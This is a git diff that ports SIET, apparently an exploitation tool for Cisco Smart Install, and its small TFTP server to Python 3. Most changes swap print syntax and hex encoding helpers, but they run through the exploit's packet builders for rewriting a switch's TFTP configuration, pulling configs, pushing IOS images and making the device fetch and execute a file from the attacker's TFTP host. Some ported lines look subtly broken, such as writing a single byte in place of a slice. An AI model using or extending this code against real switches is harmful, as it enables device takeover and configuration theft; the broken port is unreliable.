diff --git a/README.md b/README.md index 0d0b457..2635819 100644 --- a/README.md +++ b/README.md @@ -72,6 +72,8 @@ New option `-l`. You can use list of ip addresses for getting configuration file Fix bug with incorrect test of device. +Added support for Python 3 + If you are thinking about what to do with the copied configuration files, you can try our new tool: [Cisco Config Analysis Tool](https://github.com/cisco-config-analysis-tool/ccat) If you have any questions, please write me at telegram: @sab0tag3d diff --git a/sTFTP.py b/sTFTP.py index 3fb60d9..3d14c90 100644 --- a/sTFTP.py +++ b/sTFTP.py @@ -1,5 +1,7 @@ import sys, os, socket +from codecs import encode, decode + TFTP_FILES_PATH = 'tftp' # path to files for transfering TFTP_SERVER_PORT = 69 TFTP_GET_BYTE = 1 @@ -12,35 +14,40 @@ MAX_BLKSIZE = 0x10000 MAX_BLKCOUNT = 0xffff +python_version = sys.version_info[0] def TftpServer(sBindIp, SocketTimeout): - print '-= DvK =- TFTP server 2017(p)' + print("-= DvK =- TFTP server 2017(p)") + print("[INFO]: Creating directory.") try: os.mkdir('tftp') + print("[INFO]: Directory created.") except OSError: - print('[INFO]: Directory already exists. OK.') + print("[INFO]: Directory already exists.") - print '[INFO]: binding socket ..', + print("[INFO]: Binding socket .. ") try: ConnUDP = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ConnUDP.settimeout(SocketTimeout) ConnUDP.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ConnUDP.bind((sBindIp, TFTP_SERVER_PORT)) except socket.error as msg: - print 'error: %s' % msg + print("[ERR]: {}".format(msg)) return - print 'ok' + print("[INFO]: Socket bound successfully.") dPort = TFTP_MIN_DATA_PORT while True: try: buff, (raddress, rport) = ConnUDP.recvfrom(MAX_BLKSIZE) + if python_version == 3: + buff = buff.decode() except socket.timeout: pass except socket.error: return - print '[INFO]: connect from ', raddress, rport + print("[INFO]: Connection from {}:{}".format(raddress, rport)) sReq = '' tReq = ord(buff[1]) if tReq == TFTP_GET_BYTE: @@ -50,41 +57,46 @@ def TftpServer(sBindIp, SocketTimeout): sReq = 'put' fMode = 'w' if len(sReq) == 0: - print '[ERR]: illegal TFTP request', tReq + print("[ERR]: Illegal TFTP request".format(tReq)) sUdp = '\x00\x05\x00\x01Illegal TFTP request\x00' ConnUDP.sendto(sUdp, (raddress, rport)) continue ss = buff[2:].split('\0') nFile = ss[0] sType = ss[1] - print '[INFO]:[' + raddress + '] ' + sReq + 'ing file', nFile, sType + print("[INFO]:[{}] {}ting file {} {}".format(raddress, sReq, nFile, sType)) + if (sType == 'octet'): fMode += 'b' + try: f = open(TFTP_FILES_PATH + '/' + nFile, fMode) except IOError: - print '[INFO]:[' + raddress + ']:[' + sReq + '] error open file: ' + TFTP_FILES_PATH + '/' + nFile + print("[INFO]:[{}]:[{}] Error opening file: {}/{}".format(raddress, sReq, TFTP_FILES_PATH, nFile)) sUdp = '\x00\x05\x00\x01Error open file\x00' ConnUDP.sendto(sUdp, (raddress, rport)) continue + try: ConnDATA = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ConnDATA.settimeout(SocketTimeout) ConnDATA.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ConnDATA.bind(('', dPort)) except socket.error: - print '[ERR]:[' + raddress + ']:[' + sReq + '] error binding dataport', dPort + print("[ERR]:[{}]:[{}] Error binding data port {}".format(raddress, sReq, dPort)) sUdp = '\x00\x05\x00\x01Internal error\x00' ConnUDP.sendto(sUdp, (raddress, rport)) f.close() continue - print '[INFO]:[' + raddress + ']:[' + sReq + '] success binding data port', dPort + + print("[INFO]:[{}]:[{}] Success binding data port {}".format(raddress, sReq, dPort)) + dPort += 1 if dPort == TFTP_MAX_DATA_PORT: dPort = TFTP_MIN_DATA_PORT child_pid = os.fork() if child_pid < 0: - print '[ERR]:[' + raddress + ']:[' + sReq + '] error forking new process' + print("[ERR]:[{}]:[{}] Error forking new process".format(raddress, sReq)) sUdp = '\x00\x05\x00\x01Internal error\x00' ConnUDP.sendto(sUdp, (raddress, rport)) f.close() @@ -93,57 +105,90 @@ def TftpServer(sBindIp, SocketTimeout): if child_pid == 0: if sReq == 'put': sUdp = '0004' + ('%04x' % 0) - ConnDATA.sendto(sUdp.decode('hex'), (raddress, rport)) + ConnDATA.sendto(hex_decode(sUdp), (raddress, rport)) fSize = 0 - buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) - while buffer: - fSize += len(buffer[4:]) - f.write(buffer[4:]) - sUdp = '\x00\x04' + buffer[2:4] - ConnDATA.sendto(sUdp, (raddress, rport)) - if len(buffer[4:]) < DEF_BLKSIZE: + buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) + if python_version == 3: + buff = buff.decode() + + while buff: + fSize += len(buff[4:]) + if python_version == 2: + f.write(buff[4:]) + elif python_version == 3: + f.write(bytes(buff[4], 'ascii')) + + sUdp = '\x00\x04' + buff[2:4] + if python_version == 2: + ConnDATA.sendto(sUdp, (raddress, rport)) + elif python_version == 3: + ConnDATA.sendto(bytes(sUdp, 'ascii'), (raddress, rport)) + + if len(buff[4:]) < DEF_BLKSIZE: break - buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) + buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) + if python_version == 3: + buff = buff.decode() + if int(fSize / ECHO_FILE_SIZE) * ECHO_FILE_SIZE == fSize: - print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' downloading, size:', fSize + print("[INFO]:[{}]:[{}] File {}/{} downloading, size: {}".format( + raddress, sReq, TFTP_FILES_PATH, nFile, fSize)) f.close() ConnDATA.close() - print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' finish download, size:', fSize + print("[INFO]:[{}]:[{}] File {}/{} finished downloading, size: {}".format( + raddress, sReq, TFTP_FILES_PATH, nFile, fSize)) sys.exit(0) if sReq == 'get': data = f.read(DEF_BLKSIZE) fSize = len(data) j = 1 while data: - sUdp = ('0003' + ('%04x' % j)).decode('hex') + data - ConnDATA.sendto(sUdp, (raddress, rport)) + sUdp = hex_decode('0003' + ('%04x' % j)) + data + if python_version == 2: + ConnDATA.sendto(sUdp, (raddress, rport)) + elif python_version == 3: + ConnDATA.sendto(bytes(sUdp, 'ascii'), (raddress, rport)) + try: - buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) + buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) + if python_version == 3: + buff = buff.decode() except socket.error: - print '[ERR]:[' + raddress + ']:[' + sReq + '] error upload file ' + TFTP_FILES_PATH + '/' + nFile + print("[ERR]:[{}]:[{}] Error uploading file {}/{}".format(raddress, sReq, TFTP_FILES_PATH, nFile)) break - nBlock = int(buffer[2:4].encode('hex'), 16) - if ord(buffer[1]) != 4 or nBlock != j: - print '[ERR]:[' + raddress + ']:[' + sReq + '] answer packet not valid:', ord( - buffer[1]), nBlock, j + nBlock = int(hex_encode(buff[2:4]), 16) + if ord(buff[1]) != 4 or nBlock != j: + print("[ERR]:[{}]:[{}] Answer packet not valid: {}".format(raddress, sReq, ord(buff[1]), nBlock, j)) break if len(data) < DEF_BLKSIZE: break data = f.read(DEF_BLKSIZE) fSize += len(data) if int(fSize / ECHO_FILE_SIZE) * ECHO_FILE_SIZE == fSize: - print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' uploading success, size:', fSize + print("[INFO]:[{}]:[{}] File {}/{} uploading success, size: {}".format( + raddress, sReq, TFTP_FILES_PATH, nFile, fSize)) if j == MAX_BLKCOUNT: j = 0 else: j += 1 f.close() ConnDATA.close() - print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' finish upload, size:', fSize + print("[INFO]:[{}]:[{}] File {}/{} finished uploading, size: {}".format( + raddress, sReq, TFTP_FILES_PATH, nFile, fSize)) sys.exit(0) sys.exit(0) +# Version-agnostic hex encoding and decoding functions +def hex_encode(toEncode): + if python_version == 2: + return toEncode.encode('hex') + elif python_version == 3: + return encode(bytes(toEncode, 'ascii'), 'hex').decode() -########################################################################################## +def hex_decode(toDecode): + if python_version == 2: + return toDecode.decode('hex') + elif python_version == 3: + return decode(toDecode, 'hex') TftpServer('', TFTP_SOCK_TIMEOUT) diff --git a/siet.py b/siet.py index a340dfe..b9e37f3 100755 --- a/siet.py +++ b/siet.py @@ -10,12 +10,16 @@ import subprocess import time import threading + +from codecs import encode, decode + +python_version = sys.version_info[0] + try: import Queue as queue except ImportError: # Queue is queue in python3 - print('[ERROR]: Does not support python3 yet!') - raise SystemExit + import queue def get_argm_from_user(): # Set arguments for running parser = argparse.ArgumentParser() @@ -154,7 +158,7 @@ def conn_with_client(data, ip, mode=0): # Set connection with remote client print('[INFO]: {0} is not affected'.format(ip)) break elif (len(data) == 24): - if (data.encode('hex') == resp): + if (hex_encode(data) == resp): print('[INFO]: Smart Install Client feature active on {0}'.format(ip)) print('[INFO]: {0} is affected'.format(ip)) break @@ -198,8 +202,8 @@ def test_device(current_ip): # Testing for smart install # print('[DEBUG]: Packet for sent: ' + sTcp) print('[INFO]: Sending TCP packet to %s ' % current_ip) - # print('[DEBUG]: Decoded packet to sent: ' + sTcp.decode('hex')) - conn_with_client(sTcp.decode('hex'), current_ip, mode=1) + # print('[DEBUG]: Decoded packet to sent: ' + hex_decode(sTcp)) + conn_with_client(hex_decode(sTcp), current_ip, mode=1) def test_device_scheduler(hosts_to_scan_queue): while not hosts_to_scan_queue.empty(): @@ -221,20 +225,18 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address sDump1 = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '3' + '0' * 5 + '128' + '0' * 7 + '3' + '0' * 23 + '2' + '0' * 15 + '1' + '0' * 6 sDump2 = '0' * (264 - len(fConf) * 2) - sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + fConf.encode( - 'hex') + sDump2 + sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + hex_encode(fConf) + sDump2 elif mode == 'change_multi': if not os.path.isdir("tftp/conf") and not os.path.exists("tftp/conf"): - os.mkdir('tftp/conf', 0755); + os.mkdir('tftp/conf', 0o755); config_file = 'conf/' + current_ip + '.conf' fConf = 'tftp://' + my_ip + '/' + config_file sTime = '00:01' sDump1 = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '3' + '0' * 5 + '128' + '0' * 7 + '3' + '0' * 23 + '2' + '0' * 15 + '1' + '0' * 6 sDump2 = '0' * (264 - len(fConf) * 2) - sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + fConf.encode( - 'hex') + sDump2 + sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + hex_encode(fConf) + sDump2 elif mode == 'get_config': # need more test with this payload ( "system:" may be more usefull then "nvram:" @@ -246,9 +248,9 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address sTcp = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '800000' + '40800010014' + '0' * 7 + '10' + '0' * 7 + 'fc994737866' + '0' * 7 + '0303f4' - sTcp = sTcp + c1.encode('hex') + '00' * (336 - len(c1)) - sTcp = sTcp + c2.encode('hex') + '00' * (336 - len(c2)) - sTcp = sTcp + c3.encode('hex') + '00' * (336 - len(c3)) + sTcp = sTcp + hex_encode(c1) + '00' * (336 - len(c1)) + sTcp = sTcp + hex_encode(c2) + '00' * (336 - len(c2)) + sTcp = sTcp + hex_encode(c3) + '00' * (336 - len(c3)) elif mode == 'update_ios': get_ios_for_tftp() @@ -261,7 +263,7 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address else: sTcp += '%08x' % 0x801 + '%024x' % 0 + '%08x' % 1 + '%08x' % int(sTime[0:2]) + '%08x' % int( sTime[3:5]) + '%08x' % 1 - sTcp += fList.encode('hex') + '00' * (415 - len(fList)) + '01' + sTcp += hex_encode(fList) + '00' * (415 - len(fList)) + '01' elif mode == 'execute': exec_file = get_file_for_tftp('execute') @@ -271,14 +273,14 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address c3 = 'tftp://' + my_ip + '/' + exec_file sTcp = '%08d' % 2 + '%08d' % 1 + '%08d' % 5 + '%08d' % 210 + '%08d' % 1 - sTcp = sTcp + c1.encode('hex') + '00' * (128 - len(c1)) - sTcp = sTcp + c2.encode('hex') + '00' * (264 - len(c2)) - sTcp = sTcp + c3.encode('hex') + '00' * (131 - len(c3)) + '01' + sTcp = sTcp + hex_encode(c1) + '00' * (128 - len(c1)) + sTcp = sTcp + hex_encode(c2) + '00' * (264 - len(c2)) + sTcp = sTcp + hex_encode(c3) + '00' * (131 - len(c3)) + '01' # print('[DEBUG]: Packet for sent: ' + sTcp) print('[INFO]: Sending TCP packet to %s ' % current_ip) - # print('[DEBUG]: Decoded packet to sent: ' + sTcp.decode('hex')) - conn_with_client(sTcp.decode('hex'), current_ip) + # print('[DEBUG]: Decoded packet to sent: ' + hex_decode(sTcp)) + conn_with_client(hex_decode(sTcp), current_ip) def main(): @@ -308,7 +310,7 @@ def main(): test_device(current_ip) else: - tftp = subprocess.Popen(["python2.7", "sTFTP.py"]) + tftp = subprocess.Popen(["python", "sTFTP.py"]) if args.mode != 'change_multi' and args.mode != 'get_config': current_ip = args.IP @@ -365,6 +367,19 @@ def worker(): time.sleep(60) tftp.terminate() +# Version-agnostic functions to encode and decode hex strings + +def hex_encode(toEncode): + if python_version == 2: + return toEncode.encode('hex') + elif python_version == 3: + return encode(bytes(toEncode, 'ascii'), 'hex').decode() + +def hex_decode(toDecode): + if python_version == 2: + return toDecode.decode('hex') + elif python_version == 3: + return decode(toDecode, 'hex') main()